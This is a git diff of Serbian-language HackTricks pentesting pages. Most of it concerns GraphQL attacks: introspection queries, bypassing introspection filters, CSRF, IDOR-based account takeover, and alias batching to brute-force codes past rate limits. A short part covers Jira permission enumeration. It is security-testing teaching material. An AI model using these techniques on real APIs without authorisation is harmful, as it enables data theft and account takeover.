Da biste proverili da li je URL GraphQL servis, može se poslati **univerzalni upit**, `query{__typename}`. Ako odgovor sadrži `{"data": {"__typename": "Query"}}`, potvrđuje da URL hostuje GraphQL endpoint. Ovaj metod se oslanja na GraphQL-ovo polje `__typename`, koje otkriva tip upitanog objekta.
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
query{__typename}
|
query{__typename}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Osnovna enumeracija
|
### Osnovna enumeracija
|
||||||
|
|
||||||
GraphQL obično podržava **GET**, **POST** (x-www-form-urlencoded) i **POST**(json). Iako je radi bezbednosti preporučljivo dozvoliti samo json kako bi se sprečili CSRF napadi.
|
GraphQL obično podržava **GET**, **POST** (x-www-form-urlencoded) i **POST**(json). Iako je radi bezbednosti preporučljivo dozvoliti samo json kako bi se sprečili CSRF napadi.
|
||||||
|
@ -54,9 +56,11 @@ GraphQL obično podržava **GET**, **POST** (x-www-form-urlencoded) i **POST**(j
|
||||||
#### Introspekcija
|
#### Introspekcija
|
||||||
|
|
||||||
Da biste koristili introspekciju za otkrivanje informacija o šemi, upitajte polje `__schema`. Ovo polje je dostupno na korenskom tipu svih upita.
|
Da biste koristili introspekciju za otkrivanje informacija o šemi, upitajte polje `__schema`. Ovo polje je dostupno na korenskom tipu svih upita.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
query={__schema{types{name,fields{name}}}}
|
query={__schema{types{name,fields{name}}}}
|
||||||
```
|
```
|
||||||
|
|
||||||
Sa ovim upitom pronaći ćete ime svih tipova koji se koriste:
|
Sa ovim upitom pronaći ćete ime svih tipova koji se koriste:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (202).png>)
|
![](<../../.gitbook/assets/image (202).png>)
|
||||||
|
@ -74,16 +78,19 @@ Sa ovim upitom možete izvući sve tipove, njihova polja i argumente (i tip argu
|
||||||
**Greške**
|
**Greške**
|
||||||
|
|
||||||
Interesantno je znati da li će **greške** biti **prikazane** jer će doprineti korisnim **informacijama**.
|
Interesantno je znati da li će **greške** biti **prikazane** jer će doprineti korisnim **informacijama**.
|
||||||
|
|
||||||
```
|
```
|
||||||
?query={__schema}
|
?query={__schema}
|
||||||
?query={}
|
?query={}
|
||||||
?query={thisdefinitelydoesnotexist}
|
?query={thisdefinitelydoesnotexist}
|
||||||
```
|
```
|
||||||
|
|
||||||
**Enumeracija šeme baze podataka putem introspekcije**
|
**Enumeracija šeme baze podataka putem introspekcije**
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Ako je omogućena introspekcija, ali prethodni upit ne funkcioniše, pokušajte ukloniti direktive `onOperation`, `onFragment` i `onField` iz strukture upita.
|
Ako je omogućena introspekcija, ali prethodni upit ne funkcioniše, pokušajte ukloniti direktive `onOperation`, `onFragment` i `onField` iz strukture upita.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Full introspection query
|
#Full introspection query
|
||||||
|
|
||||||
|
@ -173,10 +180,13 @@ name
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Inline inspekcijski upit:
|
Inline inspekcijski upit:
|
||||||
|
|
||||||
```
|
```
|
||||||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
||||||
```
|
```
|
||||||
|
|
||||||
Poslednja linija koda je graphql upit koji će izbaciti sve metainformacije iz graphql-a (imena objekata, parametri, tipovi...)
|
Poslednja linija koda je graphql upit koji će izbaciti sve metainformacije iz graphql-a (imena objekata, parametri, tipovi...)
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (206).png>)
|
![](<../../.gitbook/assets/image (206).png>)
|
||||||
|
@ -196,17 +206,21 @@ Imajte na umu da je tip upita "_flags_" "_Flags_", a ovaj objekat je definisan n
|
||||||
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png)
|
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png)
|
||||||
|
|
||||||
Možete videti da su objekti "_Flags_" sastavljeni od **imena** i **vrednosti**. Zatim možete dobiti sva imena i vrednosti zastava upitom:
|
Možete videti da su objekti "_Flags_" sastavljeni od **imena** i **vrednosti**. Zatim možete dobiti sva imena i vrednosti zastava upitom:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
query={flags{name, value}}
|
query={flags{name, value}}
|
||||||
```
|
```
|
||||||
|
|
||||||
Imajte na umu da u slučaju da je **objekat za upit** **primitivan** **tip** poput **stringa** kao u sledećem primeru
|
Imajte na umu da u slučaju da je **objekat za upit** **primitivan** **tip** poput **stringa** kao u sledećem primeru
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (441).png>)
|
![](<../../.gitbook/assets/image (441).png>)
|
||||||
|
|
||||||
Možete ga jednostavno upitati sa:
|
Možete ga jednostavno upitati sa:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
query={hiddenFlags}
|
query={hiddenFlags}
|
||||||
```
|
```
|
||||||
|
|
||||||
U još jednom primeru gde su postojala 2 objekta unutar "_Query_" tipa objekta: "_user_" i "_users_".\
|
U još jednom primeru gde su postojala 2 objekta unutar "_Query_" tipa objekta: "_user_" i "_users_".\
|
||||||
Ako ovi objekti ne zahtevaju nikakav argument za pretragu, mogli biste **dobiti sve informacije iz njih** samo **tražeći** podatke koje želite. U ovom primeru sa interneta mogli biste izvući sačuvane korisničke imena i lozinke:
|
Ako ovi objekti ne zahtevaju nikakav argument za pretragu, mogli biste **dobiti sve informacije iz njih** samo **tražeći** podatke koje želite. U ovom primeru sa interneta mogli biste izvući sačuvane korisničke imena i lozinke:
|
||||||
|
|
||||||
|
@ -241,6 +255,7 @@ Ako možete pretraživati po tipu niske, kao: `query={theusers(description: ""){
|
||||||
U ovom okruženju, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** su identifikovane svojim **emailom** i **imenom**; **filmovi** po njihovom **imenom** i **ocenom**. **Osobe** mogu biti prijatelji jedni sa drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.
|
U ovom okruženju, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** su identifikovane svojim **emailom** i **imenom**; **filmovi** po njihovom **imenom** i **ocenom**. **Osobe** mogu biti prijatelji jedni sa drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.
|
||||||
|
|
||||||
Možete **pretraživati** osobe **po** imenu i dobiti njihove emaile:
|
Možete **pretraživati** osobe **po** imenu i dobiti njihove emaile:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
{
|
{
|
||||||
searchPerson(name: "John Doe") {
|
searchPerson(name: "John Doe") {
|
||||||
|
@ -248,7 +263,9 @@ email
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Možete **pretraživati** osobe **po** imenu i dobiti njihove **pretplaćene** **filmove**:
|
Možete **pretraživati** osobe **po** imenu i dobiti njihove **pretplaćene** **filmove**:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
{
|
{
|
||||||
searchPerson(name: "John Doe") {
|
searchPerson(name: "John Doe") {
|
||||||
|
@ -263,9 +280,11 @@ name
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Obratite pažnju kako je naznačeno da se dobije `name` od `subscribedMovies` osobe.
|
Obratite pažnju kako je naznačeno da se dobije `name` od `subscribedMovies` osobe.
|
||||||
|
|
||||||
Takođe možete **pretraživati više objekata istovremeno**. U ovom slučaju, pretražuju se 2 filma:
|
Takođe možete **pretraživati više objekata istovremeno**. U ovom slučaju, pretražuju se 2 filma:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
{
|
{
|
||||||
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
||||||
|
@ -273,7 +292,9 @@ name
|
||||||
}
|
}
|
||||||
}r
|
}r
|
||||||
```
|
```
|
||||||
|
|
||||||
Ili čak **odnosi nekoliko različitih objekata korišćenjem aliasa**:
|
Ili čak **odnosi nekoliko različitih objekata korišćenjem aliasa**:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
{
|
{
|
||||||
johnsMovieList: searchPerson(name: "John Doe") {
|
johnsMovieList: searchPerson(name: "John Doe") {
|
||||||
|
@ -296,6 +317,7 @@ name
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Mutacije
|
### Mutacije
|
||||||
|
|
||||||
**Mutacije se koriste za pravljenje promena na serverskoj strani.**
|
**Mutacije se koriste za pravljenje promena na serverskoj strani.**
|
||||||
|
@ -307,6 +329,7 @@ U **introspekciji** možete pronaći **deklarisane** **mutacije**. Na sledećoj
|
||||||
U ovom postavci, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** su identifikovane njihovim **emailom** i **imenom**; **filmovi** po njihovom **imenom** i **ocenom**. **Osobe** mogu biti prijatelji jedni sa drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.
|
U ovom postavci, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** su identifikovane njihovim **emailom** i **imenom**; **filmovi** po njihovom **imenom** i **ocenom**. **Osobe** mogu biti prijatelji jedni sa drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.
|
||||||
|
|
||||||
Mutacija za **kreiranje novih** filmova unutar baze podataka može izgledati ovako (u ovom primeru mutacija se zove `addMovie`):
|
Mutacija za **kreiranje novih** filmova unutar baze podataka može izgledati ovako (u ovom primeru mutacija se zove `addMovie`):
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
mutation {
|
mutation {
|
||||||
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
|
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
|
||||||
|
@ -317,9 +340,11 @@ rating
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
**Obratite pažnju kako su i vrednosti i tipovi podataka naznačeni u upitu.**
|
**Obratite pažnju kako su i vrednosti i tipovi podataka naznačeni u upitu.**
|
||||||
|
|
||||||
Dodatno, baza podataka podržava operaciju **mutacije**, nazvanu `addPerson`, koja omogućava kreiranje **osoba** zajedno sa njihovim povezivanjem sa postojećim **prijateljima** i **filmovima**. Važno je napomenuti da prijatelji i filmovi moraju već postojati u bazi podataka pre nego što budu povezani sa novostvorenom osobom.
|
Dodatno, baza podataka podržava operaciju **mutacije**, nazvanu `addPerson`, koja omogućava kreiranje **osoba** zajedno sa njihovim povezivanjem sa postojećim **prijateljima** i **filmovima**. Važno je napomenuti da prijatelji i filmovi moraju već postojati u bazi podataka pre nego što budu povezani sa novostvorenom osobom.
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
mutation {
|
mutation {
|
||||||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||||||
|
@ -347,6 +372,7 @@ releaseYear
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Preopterećenje direktive
|
### Preopterećenje direktive
|
||||||
|
|
||||||
Kao što je objašnjeno u [**jednoj od ranjivosti opisanih u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), preopterećenje direktive podrazumeva poziv direktive čak i milione puta kako bi server potrošio operacije dok nije moguće izvršiti DoS napad.
|
Kao što je objašnjeno u [**jednoj od ranjivosti opisanih u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), preopterećenje direktive podrazumeva poziv direktive čak i milione puta kako bi server potrošio operacije dok nije moguće izvršiti DoS napad.
|
||||||
|
@ -377,6 +403,7 @@ Lep **wordlist** za otkrivanje [**GraphQL entiteta može se pronaći ovde**](htt
|
||||||
### **Zaobilaženje Odbrana Introspekcije GraphQL-a**
|
### **Zaobilaženje Odbrana Introspekcije GraphQL-a**
|
||||||
|
|
||||||
Da bi se zaobišle restrikcije na introspekcijske upite u API-ima, ubacivanje **specijalnog karaktera posle ključne reči `__schema`** pokazuje se efikasnim. Ovaj metod iskorišćava uobičajene propuste programera u regex obrascima koji ciljaju blokiranje introspekcije fokusiranjem na ključnu reč `__schema`. Dodavanjem karaktera poput **razmaka, novih linija i zareza**, koje GraphQL ignoriše ali možda nisu uzete u obzir u regex-u, restrikcije mogu biti zaobiđene. Na primer, introspekcijski upit sa novom linijom posle `__schema` može zaobići takve odbrane:
|
Da bi se zaobišle restrikcije na introspekcijske upite u API-ima, ubacivanje **specijalnog karaktera posle ključne reči `__schema`** pokazuje se efikasnim. Ovaj metod iskorišćava uobičajene propuste programera u regex obrascima koji ciljaju blokiranje introspekcije fokusiranjem na ključnu reč `__schema`. Dodavanjem karaktera poput **razmaka, novih linija i zareza**, koje GraphQL ignoriše ali možda nisu uzete u obzir u regex-u, restrikcije mogu biti zaobiđene. Na primer, introspekcijski upit sa novom linijom posle `__schema` može zaobići takve odbrane:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Example with newline to bypass
|
# Example with newline to bypass
|
||||||
{
|
{
|
||||||
|
@ -384,16 +411,19 @@ Da bi se zaobišle restrikcije na introspekcijske upite u API-ima, ubacivanje **
|
||||||
{queryType{name}}}"
|
{queryType{name}}}"
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Ako ne uspete, razmotrite alternativne metode zahteva, poput **GET zahteva** ili **POST sa `x-www-form-urlencoded`**, jer se ograničenja mogu odnositi samo na POST zahteve.
|
Ako ne uspete, razmotrite alternativne metode zahteva, poput **GET zahteva** ili **POST sa `x-www-form-urlencoded`**, jer se ograničenja mogu odnositi samo na POST zahteve.
|
||||||
|
|
||||||
### **Otkrivanje izloženih GraphQL struktura**
|
### **Otkrivanje izloženih GraphQL struktura**
|
||||||
|
|
||||||
Kada je introspekcija onemogućena, ispitivanje izvornog koda veb sajta radi unapred učitanih upita u JavaScript bibliotekama je korisna strategija. Ovi upiti mogu se pronaći koristeći karticu `Sources` u alatima za razvoj, pružajući uvide u šemu API-ja i otkrivajući potencijalno **izložene osetljive upite**. Komande za pretragu unutar alata za razvoj su:
|
Kada je introspekcija onemogućena, ispitivanje izvornog koda veb sajta radi unapred učitanih upita u JavaScript bibliotekama je korisna strategija. Ovi upiti mogu se pronaći koristeći karticu `Sources` u alatima za razvoj, pružajući uvide u šemu API-ja i otkrivajući potencijalno **izložene osetljive upite**. Komande za pretragu unutar alata za razvoj su:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
Inspect/Sources/"Search all files"
|
Inspect/Sources/"Search all files"
|
||||||
file:* mutation
|
file:* mutation
|
||||||
file:* query
|
file:* query
|
||||||
```
|
```
|
||||||
|
|
||||||
## CSRF u GraphQL-u
|
## CSRF u GraphQL-u
|
||||||
|
|
||||||
Ako ne znate šta je CSRF, pročitajte sledeću stranicu:
|
Ako ne znate šta je CSRF, pročitajte sledeću stranicu:
|
||||||
|
@ -405,20 +435,24 @@ Ako ne znate šta je CSRF, pročitajte sledeću stranicu:
|
||||||
Možete pronaći nekoliko GraphQL endpointa **konfigurisanih bez CSRF tokena.**
|
Možete pronaći nekoliko GraphQL endpointa **konfigurisanih bez CSRF tokena.**
|
||||||
|
|
||||||
Imajte na umu da se GraphQL zahtevi obično šalju putem POST zahteva koristeći Content-Type **`application/json`**.
|
Imajte na umu da se GraphQL zahtevi obično šalju putem POST zahteva koristeći Content-Type **`application/json`**.
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||||||
```
|
```
|
||||||
|
|
||||||
Međutim, većina GraphQL krajnjih tačaka takođe podržava **`form-urlencoded` POST zahteve:**
|
Međutim, većina GraphQL krajnjih tačaka takođe podržava **`form-urlencoded` POST zahteve:**
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||||
```
|
```
|
||||||
|
|
||||||
Dakle, budući da se CSRF zahtevi poput prethodnih šalju **bez prethodnih zahteva**, moguće je **izvršiti** **promene** u GraphQL-u zloupotrebom CSRF-a.
|
Dakle, budući da se CSRF zahtevi poput prethodnih šalju **bez prethodnih zahteva**, moguće je **izvršiti** **promene** u GraphQL-u zloupotrebom CSRF-a.
|
||||||
|
|
||||||
Međutim, imajte na umu da je nova podrazumevana vrednost kolačića za `samesite` zastavicu u Chrome-u `Lax`. To znači da će kolačić biti poslat samo sa veb stranice treće strane u GET zahtevima.
|
Međutim, imajte na umu da je nova podrazumevana vrednost kolačića za `samesite` zastavicu u Chrome-u `Lax`. To znači da će kolačić biti poslat samo sa veb stranice treće strane u GET zahtevima.
|
||||||
|
|
||||||
Imajte na umu da je obično moguće poslati **upit** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.**
|
Imajte na umu da je obično moguće poslati **upit** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.**
|
||||||
|
|
||||||
Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search.md) **napada** moguće je eksfiltrirati sadržaj sa GraphQL endpointa zloupotrebom korisničkih podataka.
|
Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search/) **napada** moguće je eksfiltrirati sadržaj sa GraphQL endpointa zloupotrebom korisničkih podataka.
|
||||||
|
|
||||||
Za više informacija **proverite** [**originalni post ovde**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
Za više informacija **proverite** [**originalni post ovde**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
||||||
|
|
||||||
|
@ -429,6 +463,7 @@ Mnoge GraphQL funkcije definisane na endpointu mogu proveravati samo autentifika
|
||||||
Izmena ulaznih promenljivih upita može dovesti do **procurivanja** osetljivih detalja naloga [leaked](https://hackerone.com/reports/792927).
|
Izmena ulaznih promenljivih upita može dovesti do **procurivanja** osetljivih detalja naloga [leaked](https://hackerone.com/reports/792927).
|
||||||
|
|
||||||
Mutacija čak može dovesti do preuzimanja naloga pokušavajući da se izmene podaci drugog naloga.
|
Mutacija čak može dovesti do preuzimanja naloga pokušavajući da se izmene podaci drugog naloga.
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
{
|
{
|
||||||
"operationName":"updateProfile",
|
"operationName":"updateProfile",
|
||||||
|
@ -436,6 +471,7 @@ Mutacija čak može dovesti do preuzimanja naloga pokušavajući da se izmene po
|
||||||
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
|
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Bypass autorizacije u GraphQL-u
|
### Bypass autorizacije u GraphQL-u
|
||||||
|
|
||||||
[Povezivanje upita](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) može zaobići slab sistem autentikacije.
|
[Povezivanje upita](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) može zaobići slab sistem autentikacije.
|
||||||
|
@ -453,6 +489,7 @@ Za detaljno razumevanje GraphQL aliasa, preporučuje se sledeći resurs: [Alias]
|
||||||
Iako je primarni cilj aliasa smanjenje potrebe za brojnim API pozivima, identifikovan je neplanirani slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje napada grubom silom na GraphQL endpoint. Ovo je moguće jer su neki endpointovi zaštićeni limitatorima brzine dizajniranim da spreče napade grubom silom ograničavanjem **broja HTTP zahteva**. Međutim, ovi limitatori brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine.
|
Iako je primarni cilj aliasa smanjenje potrebe za brojnim API pozivima, identifikovan je neplanirani slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje napada grubom silom na GraphQL endpoint. Ovo je moguće jer su neki endpointovi zaštićeni limitatorima brzine dizajniranim da spreče napade grubom silom ograničavanjem **broja HTTP zahteva**. Međutim, ovi limitatori brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine.
|
||||||
|
|
||||||
Razmotrite donji primer, koji ilustruje kako se aliasovani upiti mogu koristiti za proveru validnosti kodova popusta u prodavnici. Ovaj metod bi mogao zaobići ograničenje brzine jer kompajlira nekoliko upita u jedan HTTP zahtev, što potencijalno omogućava proveru brojnih kodova popusta istovremeno.
|
Razmotrite donji primer, koji ilustruje kako se aliasovani upiti mogu koristiti za proveru validnosti kodova popusta u prodavnici. Ovaj metod bi mogao zaobići ograničenje brzine jer kompajlira nekoliko upita u jedan HTTP zahtev, što potencijalno omogućava proveru brojnih kodova popusta istovremeno.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Example of a request utilizing aliased queries to check for valid discount codes
|
# Example of a request utilizing aliased queries to check for valid discount codes
|
||||||
query isValidDiscount($code: Int) {
|
query isValidDiscount($code: Int) {
|
||||||
|
@ -467,6 +504,7 @@ valid
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
## Alati
|
## Alati
|
||||||
|
|
||||||
### Skeneri ranjivosti
|
### Skeneri ranjivosti
|
||||||
|
|
|
@ -69,16 +69,18 @@ Važno **ažuriranje** je napravljeno **1. februara 2019.**, zahtevajući da end
|
||||||
* WORK\_ON\_ISSUES
|
* WORK\_ON\_ISSUES
|
||||||
|
|
||||||
Primer: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
|
Primer: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Check non-authenticated privileges
|
#Check non-authenticated privileges
|
||||||
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
||||||
```
|
```
|
||||||
|
|
||||||
### Automatizovano nabrajanje
|
### Automatizovano nabrajanje
|
||||||
|
|
||||||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/rs/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
|
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# PHP - Korisne funkcije i zaobilaženje disable\_functions/open\_basedir
|
# PHP - Useful Functions & disable\_functions/open\_basedir bypass
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
